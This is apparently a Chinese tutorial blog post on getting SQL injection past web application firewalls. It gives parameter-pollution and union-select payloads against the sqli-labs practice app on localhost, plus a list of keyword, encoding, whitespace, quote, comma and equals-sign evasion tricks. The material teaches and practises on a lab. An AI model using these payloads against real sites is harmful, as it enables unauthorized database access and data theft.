sql注入之——常用绕过waf方式

1.参数污染

原理:
正则表达式一般只检测第一个参数,我们可以第一个参数放正常数据流量,第二个参数放攻击数据流量
语句
http://localhost/sqli-labs-master/Less-31/login.php/?id=1111&id=-1") union select 1,2,3-- -
可以看到第二个参数执行sql语句成功,但第一个参数不可以,我们之后在1,2,3处替换sql语句就可以实现注入
效果
在这里插入图片描述

2.规则匹配绕过

绕过形式:
大小写混合 :uNIoN sELecT 1,2,3,4
双写关键字:selselectect 1,2,3,4
使用编码: %55nion %53elect 1,2,3,4
使用注释:un/**/ion select 1,2,3,4 
等价函数与命令:@@datadir > datadir(),UNION> UNION ALL,UNION ALL命令会列出所有的值

特殊符号:
对空格的绕过:两个空格代替一个,用tab键代替空格,注释/**/, %20,%09,换行符%0a,用括号如select(…)代替select …
对单引号的绕过:宽字节 %bf,%27,%df,%27,%aa,%27(针对字符集为GBK时使用)
十六进制绕过(针对需要输入表名的时候 ‘user’=>0x7573657273)
对逗号的绕过:substr(x,1,1),mid(x,1,1)=>substr(x from 1 for 1) mid(x from 1 for 1),limit 0,1=> limit 0 offset 1
等号的绕过:利用<>(即不等于号)绕过:?id=’ or 1 <> 1,利用like绕过:?id=’ or 1 like 1,利用greatest()绕过(greatest(a,b)返回较大的那个数):?id=’ union select greatest(substr((select user()),1,1),95)

例:
语句

http://localhost/sqli-labs-master/Less-28/?id=1111%27)%0Aunion%0Aall%0Aselect%0A1,2,3%0Aand%0A(%271%27)=(%271
使用%0a替换空格,使用union all 替换union,之后在1,2,3处替换sql语句即可
效果
在这里插入图片描述

发布了47 篇原创文章 · 获赞 36 · 访问量 4117

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104268856